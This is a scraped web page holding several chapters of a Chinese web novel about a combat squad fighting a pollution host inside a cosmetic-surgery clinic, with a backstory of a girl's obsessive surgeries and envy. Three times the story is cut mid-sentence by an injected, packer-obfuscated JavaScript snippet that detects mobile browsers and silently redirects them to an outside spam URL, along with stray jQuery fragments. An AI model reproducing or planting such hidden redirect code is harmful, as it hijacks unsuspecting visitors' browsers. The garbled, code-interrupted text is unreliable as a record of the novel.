护士上前拆开张心脸上的绷带,检查刀口的情况。阮砚瞳看到了绷带下,张心红肿的认不清样子的脸,和触目惊心的刀口。 护士:“这个时代...只要你想...有勇气冒险...就没有做不到...” 张心点点头,表示赞同。 旁边的阮砚瞳听着这个对话,竟无法迅速找到反驳这些话的点,一时语塞。 如果追求外表美的话,那确实,医美给了很多对此有遗憾的人一个路径。出生就要决定一切,看上去的确很不公平,人希望自己有改变的权利,无论是财富,天赋,还是容貌。 护士检查了一遍,没有发现什么问题,于是把张心脸上的绷带换了新的缠上,然后在板子上做好记录。 护士:“愈合的不错...再过几天...就是一个更美的你了...期待吧...” 阮砚瞳看着护士离开。 张心伸出手,轻轻地握住阮砚瞳。 阮砚瞳转过头,看着那只手。张心的手很冰,没有活人的温度,还有些僵硬,但阮砚瞳没有拒绝。 “是...值得的...”张心轻声跟阮砚瞳说。 张心之前,是在跟谁说的这句话呢? 像是想要得到对方的认可,像是让对方不要再心疼自己,也像是她在告诉自己,她选择这样的做法并没有问题。 张心想要变美的愿望的确没有任何问题。 选择医美的决定也没什么问题。 想要,便去做,接受后果。阮砚瞳甚至对此心生敬佩。 从某个角度来说,她们本质也没什么不同。都是愿意为了某个目的,而愿意作出一定牺牲的人。跟污染物对抗,也免不了要挨刀子。 但阮砚瞳只是隐隐约约觉得她有点可怜。 我可能,对美没有那么大的追求和执念?阮砚瞳想了想。 只是,她有个疑问。“你为什么想要变美呢?”阮砚瞳问张心。 阮砚瞳不确定有没有人这样问过她,她是否会回复这个问题。 张心看着她,似乎早就准备好了,轻声道。 “因为...可以...获得...很多的爱...” 张心没有被绷带缠住的一只眼睛里,充满了向往。 阮砚瞳看着她,叹了口气,后面的问题终究没有继续问出口。 你所期待的,是什么样的爱呢? 张心似乎想要继续说些什么,却像是被什么阻止了一样,只能发出唔唔的音节。 她之前应该是想把自己的想法表达完整,但被人打断了,最终没有说出口。 张心说不出话,只能干摇着阮砚瞳的手。 阮砚瞳皱了皱眉头,开始翻找附近的东西。这么想说的话,总会跟谁说过,或者记在哪了吧。 阮砚瞳翻了翻病床的褥子,又打开病床旁的抽屉,发现里面躺着一本书。书名叫做:《请努力成为更好的自己》。 翻开书,书中很多页都被张心用各种颜色的笔画出句子。 阮砚瞳扫了一眼,这书也没有什么刻意强调要变美或者类似的说辞。但一本书能给读者带来什么影响,某种程度取决于读者自己的认知和理解。 张心大概率是把这本书当成坚定自己选择的证词。 阮砚瞳草草地快速翻了翻,然后在最后一页停下来。那有张心写下的几句话。 我还不够好,我也没有为了更好而尽最大的努力。 所以别人为什么会爱我。 我要努力,以任何方式,任何代价,作出改变。 阮砚瞳看完,合上书,把它放回抽屉里。 张心满怀期待地看着她,好像想要从阮砚瞳这里获得理解和支持。 阮砚瞳能理解张心,但她无法认同。 她不会纠结别人为什么不会爱她。别人可以因为任何原因不爱她。 但张心,她无法爱上自己,始终活在希望别人来爱我的期待里。 “你会变美的。”阮砚瞳拍了拍张心,对她笑了一下。 说完,她转身离开。 可以确认,张心不是污染宿主。她对更美的自己有那么多的期待,她不会在这个时候崩溃。 或许这样也好,她的生命停在一个一定会好的幻想里。以后可能会发生的所有受伤害,所有质疑,所有轻视,都还不存在。 “阮砚瞳,我这需要帮忙,你那边要没问题的话,来院长办公室。”频道里,林安时呼唤她。 “来了。”阮砚瞳离开病房,没有回头再去看张心的表情。 -- ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15968176|176272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' - 阮砚瞳进入院长办公室的时候,林安时正翻着文件。 这间办公室不算很大,只比楼下的看诊室大一点,但物品器具的用材明显更高档。 老板桌是檀木的,老板椅是真皮的,头顶的吊灯,看上去也价值不菲。窗台摆着的绿植生长的很有精气神,一看就是被人精心呵护的名贵品种。 但最抢眼的还是占满了一面墙的书架,上面整整齐齐排布着蓝色文件盒,根据年份分门别类,盒子里面全都是病例,似乎是有点价值的病例最后都会收纳到院长办公室里。 这个院长,也算是个亲临一线的实战家。 林安时脚下堆了她拿下来的病例本,正眉头紧锁迅速筛着名字。“怎么找不到叫姚霏霏的。” 阮砚瞳同样困惑地皱着眉头,但不是因为病例。 这个房间里还有一个人。她坐在办公桌对面的会客椅上,低着头,双手捂住脸,挡住了自己的样貌。 阮砚瞳忍不住问林安时:“她就是院长吗?” 不会是因为经营不善赚不到钱,哭着崩溃了吧。 这美容院有些推销的话术确实该更新了,听着只觉得烦,没有让人产生消费的冲动。 “不像。”林安时回答。“这家医院的院长叫齐芳,我刚才从这个女孩身上找到的名片上,写的是雪兮。” 阮砚瞳:“名片?她做什么工作的?” 林安时把名片递给阮砚瞳。 名片以灰黑色为底,白色刻字,显得很有调性。甚至调整角度,还能看到一些暗纹。 阮砚瞳把印有雪兮名字的一面翻过来,看到两个特殊设计的字体:夜寐。看这名像是个酒吧或者夜店之类的。 林安时拍了拍手上的一沓病例,“这儿资料太多了,还没来得及跟她谈心。” 她抬抬眼,瞟了下雪兮。“而且直觉告诉我,跟她聊我会控制不住生气。” 阮砚瞳点点头,自觉地走到雪兮身边。 懂了领导,您不爱对接的牛鬼蛇神,我先来聊聊,减少您的沟通成本。 抱大腿就要有抱大腿的觉悟,要尽力给大腿扫清前进的道路,这样自己抱的也心安。 而且阮砚瞳也确实适合干这个事,她现在逐渐找到自己的定位了,对外沟通以及武力打尸鬼。人就该干自己擅长的事。 阮砚瞳问雪兮:“你怎么了?” 雪兮还是捂着脸,似乎在抽泣。 阮砚瞳:“你来院长办公室,有什么事?” 雪兮没有理她,自顾自抽泣着说。“全都...完了...” 阮砚瞳竖起耳朵。“什么完了?” “全都...完了...” “你说说,怎么完了?跟你上班的地方,夜寐,有关系吗?” “全都...完了...” 阮砚瞳有点头疼,得想个办法让她说点别的,这个崩溃的状态,真还挺像宿主的。 但还有什么能说的,给个相关信息找找话题也行啊。这破冰也太难了。 阮砚瞳转过头求助林安时:“有她的病例本吗?” 林安时耸耸肩,做了个“无”的动作。既没有找到苏霏霏的,也没有找到雪兮的。 陷入僵局时,频道里传来姜岑的声音。 “我觉得,你们有必要来看一下。” “手术室有一具死尸。” 18.疯狂美容院(7) 姜岑站在手术台旁边,看着手术台上闭着眼睛,嘴唇发白的裸体女人。 “刚才她身上还盖了块白布,被我掀开了。”姜岑对着进来的二人解释。 姜岑双手抱胸,“这污染区里怎么还有人类死亡现场。看上去这部分应该归警察管。” 林安时看了一眼躺着的女人,确实是死人的状态,面色苍白毫无血色。 “这个不会是姚霏霏吧。”阮砚瞳问。 “不是,我看了记录,她叫周蕊。”姜岑把台子上的手术记录本拿过来,递给她们。 “应该是手术失败导致的死亡。” 阮砚瞳接过本子。 记录本是竖翻的,上沿被夹在板子上,每一页是一样的格式,医生助理需要按这个格式,在手术过程中填写术中情况。 首页上的记录是污染爆发那一天,这里做的最后一台手术,对应的就是躺在这儿的这具女尸。 姓名:周蕊 性别:女 年龄:29岁 手术名称:全身抽脂 阮砚瞳对这个手术略有耳闻,听说手术时间很长,风险很高,随时可能会发生意外状况。 阮砚瞳跳过前面的术前评估等信息,直接看手术过程。 麻醉过程,正常。 手术开始,配液、切口、吸脂等,正常。 术中突发事件(14:25) 在抽吸右大腿内侧时,突然出现喷射性出血 预估出血速度>200ml/min 接下来,周蕊生命体征的各项数值全部超出范围。 开始抢救 立即压迫止血 启动急救预案 输注药物 大量输血 心肺复苏 手术报告在这里戛然而止。 看时间,这个手术是在污染爆发早一点的时间发生的。可能后面接连出现状况,手术报告没有来得及写全。 但结果已经非常明显地摆在这里了。周蕊为此承担了付出生命的代价。 阮砚瞳突然想起刚才张心重复的那句话。 是值得的吗? 为此失去生命,也是值得的吗? 阮砚瞳不知道。 她往后翻了翻其他的手术报告单。这家医院做的手术并没有那么多,除了这场手术,近两个月的三台手术都记录在这里。 她翻到一个熟悉的名字。 “姚雪兮?” 林安时听到这个名字,也凑过来看。 这应该就是刚才在院长办公室里,掩着面哭的那个雪兮吧。终于找到跟她相关的东西了。 阮砚瞳开始阅读这一场手术报告。 姓名:姚雪兮 性别:女 年龄:18岁 手术名称:下颌角截骨术 阮砚瞳迅速扫了全文,捕捉到几个关键信息。 -使用摆锯截骨时,突然出现左侧口角抽搐 -神经监测仪显示,下颌缘支传导中断 阮砚瞳把这几句话指给林安时。 这个的意思是。姚雪兮的这场手术也出了问题? “所以姚雪兮刚才掩着面,是不愿意让人看见她手术失败后的脸?”阮砚瞳分析。 在手术台旁的姜岑听到阮砚瞳念这个名字,觉得很熟悉。 “姚雪兮?我好像有印象。” 姜岑从后腰抽出她之前在诊室顺手拿的病历,开始翻找。 “还真有。”姜岑两眼一亮,迅速把姚雪兮的病历本朝着阮砚瞳扔过来。 阮砚瞳还在看报告,没注意姜岑的动作,感受到有东西飞过来,下意识地闪躲过去。病历被扔到阮砚瞳身后的地上。 姜岑用手势向阮砚瞳示意了一下,表示不好意思,然后双手撑着手术台,坐了上去。 她也不知道这个姚雪兮怎么回事,不如先歇会养精蓄锐,感觉马上就要开打了。 阮砚瞳转身拾起姚雪兮的病历,林安时接过,两人埋头研究了起来。 姚雪兮可以算是这家医院的常客了,有很多次就诊记录。林安时从后往前翻,先翻到最后一次记录。 对照了阮砚瞳手里的手术报告,可以确定最后一次记录就是针对那场失败手术后的就诊。 诊断的结论是:面神经损伤 “应该就是面瘫。”林安时解释这个结论。 再往前翻,姚雪兮近半年,光是手术就做了2次,打针和局部美容更是频繁。看上去就像上了瘾一样,好像一旦沾上了,就越陷越深。 或许是有惯性,或许是一直需要修复,但这是最快的变美途径。 不过就算现在医疗发达了不少,人也经不起这么折腾的吧。阮砚瞳无奈地摇摇头。 一个对变美如此执着的人,手术失败导致面瘫,这个打击,足以让她崩溃了。 她们一直翻看到最前页的第一次就诊记录。发现记录末端打着一行字。 【患者曾用名为姚霏霏,前期记录可到系统内查看。】 阮砚瞳和林安时抬起头对视了一眼。 怪不得这个姚霏霏一直找不到,原来和姚雪兮是一个人。可能她刚满18就迫不及待地改了名,她的家人朋友,或许都还不知道。 那没跑了,目前的所有信息都指向她,基本可以锁定,污染宿主就是姚雪兮。或者说,姚霏霏。 林安时合上病历本,一副了然于胸的表情。 阮砚瞳松开固定着姚雪兮手术报告那一页的手指,报告纸唰啦啦地回溯到第一页。 阮砚瞳刚想把手术记录表放回桌面,但突然顿住了动作。 等一下。 她注意到第一页最前面的手术日期。 导致周蕊死亡的手术在一周前,污染爆发的那一天,没错。 但是 一周前? 污染形成后,污染物吸食尽人类的情绪,使其成为尸鬼,并且操控它。在这种状态下,污染物能够用能量让死去尸鬼的身体,一直保持不腐烂的状态。 尸鬼的身体不会腐烂,这没问题。 但如果是一具非污染导致死亡的,不受污染物操控的,正常人类的尸体。 是会正常腐烂的。 但周蕊的尸体没有腐烂。 整整一周。 周蕊不是在手术中死亡的。 她被救了回来,但在污染爆发时变成了尸鬼。 “有问题!” 阮砚瞳想明白的瞬间,转过身大喊着提醒姜岑。 阮砚瞳的声音刚从喉咙中发出,姜岑的枪声就同步响起。 嘭 子弹击穿周蕊的头颅。 这个提醒还是晚了一秒。 在刚才阮砚瞳发现有问题时,躺在手术台上的周蕊已经静悄悄地坐了起来。 抽脂手术是全身手术,过程中周蕊未着寸缕。手术室温度低,再加上她有段时间过量失血,麻醉醒来后,她的第一反应是冷。 她抱住了背对着她坐在手术台上的姜岑。 “好冷。” 姜岑原本正放空地看着林安时和阮砚瞳研究的背影。突然感受到一具冰冷的女性裸体靠在她的背上。 她想都没想,迅速跳下手术台,转身开枪。 周蕊被一枪爆头,瘫倒在手术台面,一动不动。 周蕊不是污染物。 而真正的污染物,察觉到了异常。 “啊哦。”姜岑意识到自己开错了枪,尴尬地说了一声。 作战队三人立刻进入状态,警惕地感受着附近的动静。 手术室门外传来越来越近的嘈杂脚步声。离她们最近的一批尸鬼已经赶到。 手术室内的三双眼睛紧盯着手术室的门,屏息以待。 随着一声巨响,手术室的门被撞开,冲进来的尸鬼向着三个人扑过来。 姜岑掀起手术台,一脚踢上去。手术台带着周蕊的尸体翻了个番,向扑过来的尸鬼砸去。 姜岑使用天赋【巨物】,手术台膨胀到原来体积的一倍,像绳索突然脱落的吊桥一样狠狠落下,把来的尸鬼砸了个稀碎。 手术台落下后,阮砚瞳找准时机,果断开枪,逐一击杀后面赶到的尸鬼。 林安时发动【引力】,操控手术刀,直刺入尸鬼的头颅,那些趁乱想更近一步的尸鬼,都被钉死在墙上。 附近的尸鬼并不多,一轮配合后,目前的威胁基本已经被清除。 但全院的尸鬼都在向她们这里集中,少说也有六七十只。 林安时用引力移开挡在门口的手术台,清出了一条道路。 “去院长办公室,姜岑断后。” --- 不断有尸鬼涌入三楼的走廊。 阮砚瞳看到刚才她进入的那间病房,门轰的一声倒塌,张心裹着绷带跌跌撞撞地出来,朝着她们奔过来。 阮砚瞳越过林安时的肩膀,瞄准她。 活着被别人的看法操控,死了还要被污染物操控。 祝你自由。 阮砚瞳一枪击毙张心。 楼梯处不断地冒出赶上来的尸鬼,而她们身后,刚才手术室中被打到丧失行动力的尸鬼似乎在重新与污染物建立连接,身躯都有了不同程度的反应。 是没有办法跟尸鬼这么消耗下去的。还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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姚雪兮被击中了,但子弹对她产生的负面作用微乎其微。物理伤害远没有精神伤害对污染物造成的影响大。 好在林安时调整过来,用引力将姚雪兮拍向墙壁。姚雪兮似乎早有预料,身后的墙壁配合她撞击的方向层层凹陷进行缓冲。 姚雪兮抬起头,在整个场域下,发动能力。 所有人都感受到了自己身体在扭曲。 阮砚瞳因腿部扭曲跌坐在地,她拼命想控制自己的身体,但那股力的走向并非在她可控范围内,是肌肉在运动扭曲。 撕扯感带来的疼痛逐渐清晰,不知道是肌腱还是韧带,在最后挣扎着肌肉不被撕裂脱离骨头。 再这么下去,她早晚会丧失行动力。 怎么摆脱控制,把神经割了能行吗?阮砚瞳迅速思考解决方案。 正在阮砚瞳想采取一些极端措施的时候,突然感受到有另一股力量开始与之抗衡。 这股力不像姚雪兮一样在内部流走,而是来源于外部,从外部反制扭曲的发生。 不远处的林安时屏息,静静控制精神力量。天赋【引力】是外部力,之前使用方式很直接了当,控制整个物体的行动轨迹。 但在目前的状况里,她只能尝试感受扭曲,然后时刻改变作用在她们身上引力的方向,以此来对抗。 她之前也没有试过如此细微的控制,但当下她找不到更好的办法。 林安时集中起全部注意力,但仍然很吃力。 她的额头上不断有汗珠流下。 好在对污染物来说,这种对抗也是极大的消耗。 姚雪兮收起能力,拿起桌子上的显示器,朝林安时抡过去。林安时向后弯腰闪躲,然后抬腿踢向姚雪兮手臂,显示器脱手飞向窗户,把玻璃砸的稀碎。 二人刚要再次出手,办公室的的门轰然倒塌,尸鬼争先涌进。 姚雪兮发动攻击后,姜岑专注在办公室的战场,来不及制约其他。 大批的尸鬼接踵而至。 姜岑手上没有其他方便用的物品,随手捡起地上的文件扔向门口,变大来阻挡它们的脚步。成群的尸鬼立刻冲破了文件,撕碎的纸屑飘荡在整个屋子。 阮砚瞳不断向门□□击,奈何尸鬼数量太多,还是有几只发疯地冲进办公室。 一只爬进来的尸鬼腾起向阮砚瞳扑来,阮砚瞳闪躲过去,同时看清了来人。 这是要找姚霏霏的那个阿姨——杨漫英。 阮砚瞳一个错身绕到它的身后,一脚把她踹向姚霏霏。 你要找的人在那儿。 姚雪兮只顾着注意着作战队三人的动向,被阮砚瞳踹过来的尸鬼推了一个踉跄。 杨漫英冲撞到姚雪兮怀里,抬起头。 姚雪兮一愣。 “妈...?” 19.疯狂美容院(8) 姚雪兮错愕的一念之间,所有尸鬼的动作都停滞了半拍。 阮砚瞳看到了一丝希望。 她们母女团聚,能让姚雪兮的执念动摇一点点吗? 阮砚瞳非常期待姚雪兮的附着链脱落,因为姚雪兮的能力...说实在也挺恶心的,阮砚瞳不想再经历一次。 “呵...” 姚雪兮轻笑一声,把尸鬼杨漫英丢在一旁,摸了摸自己的脸,喃喃自语:“我之所以要吃这么多苦...都是因为你...” 杨漫英并没有认出现在的姚雪兮,这张脸跟她记忆中的女儿相差实在太多。姚霏霏离家已经两年了,两年中她把自己整成了面目全非的姚雪兮,与之前判若两人。 但听到这句话之后,杨漫英像是被触发了某个开关了一样,脱离了被操控的状态,情绪激动起来。 “霏霏...都是妈妈的错...妈妈没能给你生出好看的脸...妈妈的错...回家好吗...” 杨漫英越说越激动,浑身颤抖。 姚雪兮眯了下眼睛,用手扶了一下头。尸鬼的失控暴起刺激到了污染物的控制神经,她刚刚被杨漫英刺痛了。 姚雪兮开始发力,杨漫英的躯体寸寸扭曲,面部畸变,最后了无声息倒在一边。 姚雪兮面无表情,抬起头,露出扭曲的下半张脸,环视了一圈,最后视线停在了门口。 她看到了另一个熟悉的面孔。 苏钰。 苏钰站在门口,并没有说话,呆滞地站着,行为和旁边普通的尸鬼无异。 但姚雪兮却好像对她有很多的恨意。 “你...更没资格...来劝我...” 2s后,苏钰扭曲的身躯倒在地上。 姚雪兮下手没有丝毫的犹豫,表情也看不出任何波澜。 阮砚瞳忍不住向姚雪兮开口:“你至于要...” 林安时抬手拦住了阮砚瞳。“这种人,就别再费口舌了。” 林安时使用天赋【引力】,将姚雪兮拍向架子。 姚雪兮似乎已经摸透了林安时的打法,架子随即扭曲进行缓冲。 林安时又控制几个物件砸过去,但都被姚雪兮一一化解。林安时的攻击如何都无法伤她多重。 这么下去不是办法。 阮砚瞳不断向姚雪兮射击,虽然打出的伤害不多,但也能稍稍转移她的注意力。 与此同时,林安时沉下心来,屏息静气,迅速思考别的方式。 她和姚雪兮的异能是有相似点的,都是力的作用,所以对单一事物的控制都能被对冲掉。 内部扭曲控制的是一个事物,针对单一个体,但引力可以不是。 这可以是破局点。 林安时再次发动攻击。 阮砚瞳看到整个屋子的物体都动了起来。纸笔、花盆、刚才碎掉的玻璃碎片,甚至是那张檀木桌子,都从不同方位朝着姚雪兮冲过去。 这又是什么大招,阮砚瞳没见过。 林安时闭着眼,伸出手,全神贯注地感受并运用着自己的天赋力量。 通常她都是操纵引力的方向来控制人或物体的运动。但姚雪兮对内部扭曲的能力也给了她点灵感,她试着将姚雪兮的心脏设置为了引力中心点。 好了,现在世界以你为中心了,满意了吗。 林安时微微一笑,她感受到一丝畅快,这份畅快源于对自己天赋的驾驭力,以及对能力向上路径的打通。这算是今天她最开心的事了。 相比之下,姚雪兮就显得很狼狈了。无数的物品向她袭来,她很难招架得完全。她刚将砸过来的柜子扭成废铁,身后玻璃的碎片就猝不及防地刺入她的心脏。 这是天赋作用下,精神加成后的伤害,威力很大。 姜岑见状迅速配合,改变物体的大小,压缩了姚雪兮【内部扭曲】能力的发挥空间。 阮砚瞳正欣赏着这场精彩的打斗,突然感受到背后的声响。 她迅速闪躲,但手臂还是被尸鬼拿着的手术刀划开了一道口子。阮砚瞳迅速反击,抬手将尸鬼劈落。 尸鬼们受到污染物的召唤,再次动作。 这些小鱼小虾,就我来解决吧,给姐姐们做好后勤保障。 阮砚瞳抄起旁边还没被引力吸走的落地灯,一脚蹬在墙壁上,借着墙的反作用力腾空而起,朝着尸鬼横扫过去。 灯罩和灯泡撞击碎裂,碎片散落满地。尸鬼的密度非常高,前排的尸鬼被击中向后仰去,接着就砸向后排的尸鬼,尸鬼群就这么接二连三地摔倒在地。 跌落的尸鬼急于起身,但在身上身下同样着急用力的尸鬼互相牵制的作用下,更加无法控制身形,在地上不断的扭曲着。 阮砚瞳落地,挥着灯杆解决了身边剩下的几只,然后拿起枪,向尸鬼持续射击,使其丧失行动力。 从阮砚瞳脚下开始,尸鬼的躯体密布,层层叠叠地铺向走廊。而走廊上,依然不断有新的尸鬼在露头。 阮砚瞳想出去清理剩下的那些,不过路已经被这些倒在地上的尸鬼堵死了,又层层相叠,根本没有地方落脚。 她只能踩着尸鬼的躯体往外走去。这些躯体终归是人的躯体,不坚硬还会滑动,使得她踩的并不平稳。 她刚走两步,就感受到手上握着的落地灯被一股力量吸引,突然急速地拉着她往后拽。尸体太软,没有什么摩擦力,阮砚瞳只来得及稳住身形,就被落地灯带着飞了出去。 阮砚瞳悬空的同时,反应过来。这是林安时的引力操控。 那正好,我再给污染加一记重击。 阮砚瞳转身做好准备,蓄力向姚雪兮刺了过去。 引力的攻击再加上阮砚瞳的力量,姚雪兮被重创倒地,阮砚瞳用落地灯死死抵住姚雪兮已千疮百孔的心脏,让她再也动弹不得。 姚雪兮彻底丧失攻击能力,躺在地面奄奄一息。 林安时睁开眼,停止进攻,轻吐出一口气。 然后她来到姚雪兮身边,蹲下身看着她。“该叫你姚雪兮呢,还是姚霏霏呢?” 被困在地上的人没有说话。 林安时:“还是姚雪兮吧,感觉你很讨厌姚霏霏。” 姚雪兮不置可否,她曾经确实很讨厌姚霏霏这个名字,它代表着她丑陋的过去。但如今不管是姚雪兮还是姚霏霏,都没什么区别了。 林安时见她始终不语,最后问道:“姚雪兮,你有遗言吗?” 姚雪兮看着上方扭曲的天花板,沉默良久。 她最后还是不甘地轻声说。 “我追求美...到底有什么错...” 林安时没有犹豫地回答她:“没错啊。爱美能有什么错。谁不爱美。” 姚雪兮抬眼看着林安时,想问她为什么。既然你都认同,为什么不能理解我。 “但是,你不是爱美吧。” 林安时眼神冰冷地说道。 “你是接受不了别人比你美。” 阮砚瞳完全懂林安时什么意思。污染区是依托宿主精神崩溃的能量形成的,场景中的异象一定程度反映了宿主的精神状态和倾向。 从她们进这个污染区开始,这里就不断地用各种手段试图矮化、丑化她们,那些镜子、被制造的幻像都在想方设法地让人更丑。 还有她的能力【内部扭曲】。 像是说,她既然已经如此了,那她要别人也要如此。 这不是单纯的追求美。这是恶意的竞争和中伤,充斥着比拼和嫉妒。 姚雪兮听着林安时的指控,心里没有波澜,也没有反驳。 是不是又怎么样呢。 她看了看林安时,又看了看阮砚瞳。 这些天生漂亮的人,总是这么善良。如果可以的话,她也想要这份善良。 她们无论如何也理解不了,一个不好看的女孩,是如何憎恶自己的。 她们不过是短暂地看到自己丑的那一面,就无法克制地焦虑了。她呢,她曾经是无时无刻和这些东西相处的。 姚雪兮眼前有些模糊,但清楚地看到阮砚瞳的口袋里,露出了半截的平安符。 好熟悉。 这是谁的东西来着。姚雪兮回忆着。 “要那么多干嘛,我希望你平平安安就好。” 啊。好像好几年前,杨漫英想要把它给我来着,她当时就是这么说的。 “哈..哈...”姚雪兮笑起来。 她妈那个没见识的女人,什么都不懂。 这个世界上那么多美好的东西,凭什么我不能拥有?凭什么我只配拥有平安? 一辈子都只能吃苦的人,要平安又有什么用? 她可不甘心。 她把平安符扔回给杨漫英,离开了家。 姚雪兮从小就跟苏钰一起玩。 苏钰是她的邻居,那个姑娘生的漂亮,所有人见到都要夸赞一番。“哎呦,真好看的小姑娘啊。这张脸,未来不愁吃喝了。” 她永远都是被忽视的那个丑小孩。 再长大一点,她们一起上学。 苏钰漂亮的耀眼,在别人眼里,她自然而然地成了苏钰的小跟班。 男孩们想送苏钰礼物,苏钰不收,他们就跑来拜托她转交给苏钰。 很小的时候,她还觉得没什么,苏钰每次都会把那些好吃的分享给她,她觉得能跟着免费吃喝,也还不错。 但后来她觉得自己像个捡人吃食的乞丐。 后来有一天,她暗恋许久的男孩儿找到她,把礼物塞到她手里,嬉笑着跟她说:“帮我交给苏钰,谢了兄弟。” 那天,她非常清楚地意识到,自己恨苏钰。也恨只能无能答应下来的丑女姚霏霏。 不止同学,还有那些男性长辈,叔叔,哥哥,男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15984699|176272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老师,也都喜欢苏钰。 有一次苏钰突发奇想,拉着姚霏霏一起画老师的恶搞小头像。后来被老师发现,老师认定姚霏霏是主谋。 苏钰是想帮她辩解来着,但怎么那么巧,没次都能被那个男老师打断。 后来苏钰哭着跟她说对不起,她觉得她演的真假。 漂亮就是能带来很多很多很多的东西啊。礼物、追慕、偏爱。之后还会有金钱、资源和更多的东西。 但凭什么,苏钰能拥有这些,而她不可以。 高一的时候,她瞒着所有人,走进了整容医院,花光了她所有零用钱,做了手术。 苏钰担心地问她为什么要这样,为什么不告诉她。姚霏霏看着她觉得可笑。她着急了,她感受到危机了,她害怕那些在她身上的爱,会转移消失。 那她更要这样了。 她问母亲要钱,母亲不同意,她就四处借钱。直到后来开销越来越大,她再也承担不了。 可是啊,这世界,只要长得好看,什么都会有的,上这个学又有什么必要。 于是她辍学去夜场卖酒。苏钰有的,如今她也有了。那些男人为她花钱,送她礼物,爱慕她,讨好她。 中间有一段时间她的脸上总是发炎,于是她也有停下来的念头。但她又看着她身旁的其他女孩们,就立刻打消了这个念头。 年轻又漂亮的新人总会冒出来,如果她不对自己狠一点,那些好东西,就会变成别人的。 她确实想过,如果所有女生都能变丑,她就不必这么辛苦了。 所谓追求美,难道不就是在避免比别人丑吗。 但没想到先变丑的是她。 手术失败了。这叫她如何能接受。 那是她在反复忍受疼痛,辛辛苦苦得到的一切。 她无法接受。 她无法接受。 姚雪兮闭上眼睛,不断流着泪。 阮砚瞳等了片刻,撅着嘴歪了一下头。 没有附着链脱落。 林安时似乎对此早有预期,起身微笑着说。 “那再见吧。” 在林安时的最后攻击下,姚雪兮炸成一滩水。 【污染区浓度回归正常,本次任务完成。】 阮砚瞳怪可惜地看着那滩水。“她对这一切就没有一点点怀疑吗?” 林安时拍了拍手上被溅上的水花。“不知道,但就算有怀疑,附着链也不会脱落。” 阮砚瞳:“为什么?” “她崩溃是因为绝望。她脑子里只有变美,然后日子就会变好这一件事情,上哪能这么快给她找到对生活的期待的。她再怎么醒悟,也很难拥有活下去的信心。” “也可以说,她是主动自杀的,只不过她想死,也不想别人好,正好便宜了污染物。” 这样吗。 阮砚瞳把残碎的落地灯扔到一边,依然为没收集到附着链而觉得惋惜。 姜岑一边翻着东西,一边跟阮砚瞳说:“上次比较幸运,但无力解决的事情才是多数。若不是执迷不悟的话,也不会情绪崩溃了。” “虽然附着链带不回去,但你可以找找有没有别的有用的,方便存档写报告。” 阮砚瞳看看一片狼藉的周围。 林安时用引力的时候基本把屋里所有东西都砸过去了,这要收拾起来,是个大工程啊。 阮砚瞳挑着空地走,走到办公桌坠落的地方。 她有一点比较好奇,这家医院的院长怎么不在这。放假了? 办公桌下的储物抽屉都被砸变形了,阮砚瞳一层一层艰难地拉开。 在最下层,她找到了一个上着锁的小箱子。 锁很坚固,她暴力地敲了几下,都没给敲开。 姜岑看到了,对她说:“你把那个放桌上,我帮你开。” 为啥放桌上,帮我开不应该给你吗。阮砚瞳对此有疑问,但还是照着做了。 放在桌子上后,箱子上的锁开始变大,然后撑破了金属扣。 妙啊妙啊。阮砚瞳冲姜岑竖起大拇指。 阮砚瞳打开盒子,里面是本病历。 谁的病例这么神秘,还要锁起来。阮砚瞳拿起病例翻了翻。 看到收治者信息时,阮砚瞳呆住了。她拿着病例的手止不住地颤抖。 林安时发现了她的异常,奇怪地看着阮砚瞳,从她手中把病历拿过来。 她看到内容后,立刻紧锁眉头,意识到这件事情非同寻常。 收治人姓名:叶禾 收治时间:危机31年7月15日 *此文件严格保密 收治人原样貌一处的照片告诉她她没想错。这就是她们知道的那个叶禾。 历史书上是这样记载叶禾的。 叶禾,澄渊队队员,于危机31年7月5日爆发的“人造海”污染事件中壮烈牺牲。 20.作战中心指挥部 阮砚瞳坐在指挥部会议室里,神情有些恍惚。 她们在美容院的院长办公室发现了叶禾的病历。根据其中的内容来看,叶禾并未在人造海事件中死亡,而是在事件发生10天后进入皙颜美容院,通过面部整形手术来改变原本的容貌,之后便再无记录。 病历中没有曝光叶禾术后的容貌,叶禾之后以什么样的面容活下去的,无人知晓。 如果这份资料属实,叶禾从人造海事件存活后,到前往皙颜美容院的这十天之中发生了什么,整容后的叶禾销声匿迹做了些什么,以及她为什么要这么做,都是值得探究的问题。 人造海事件的谜团越来越大了。 在找到那份关于叶禾的资料后,林安时立刻以最高级别紧急申请,直接将这份病历发送给了污染物处理局局长席溪。 最高级别紧急申请是污染局设置的特殊反馈渠道,如有事关重大的特别情况,所有人都可通过这一渠道发送信息给局内任何人,包括局长。 这一渠道是为了避免繁琐的程序,保证在千钧一发的关键局势中,人类能够占得先机。当然相对应的,滥用的惩罚也相当严厉。 林安时申请的时候没犹豫,并且在几分钟后,就收到了席溪的回复:全队队员立刻返回作战中心,前往指挥部参加会议。 她们到的时候,席溪已经在会议室了。 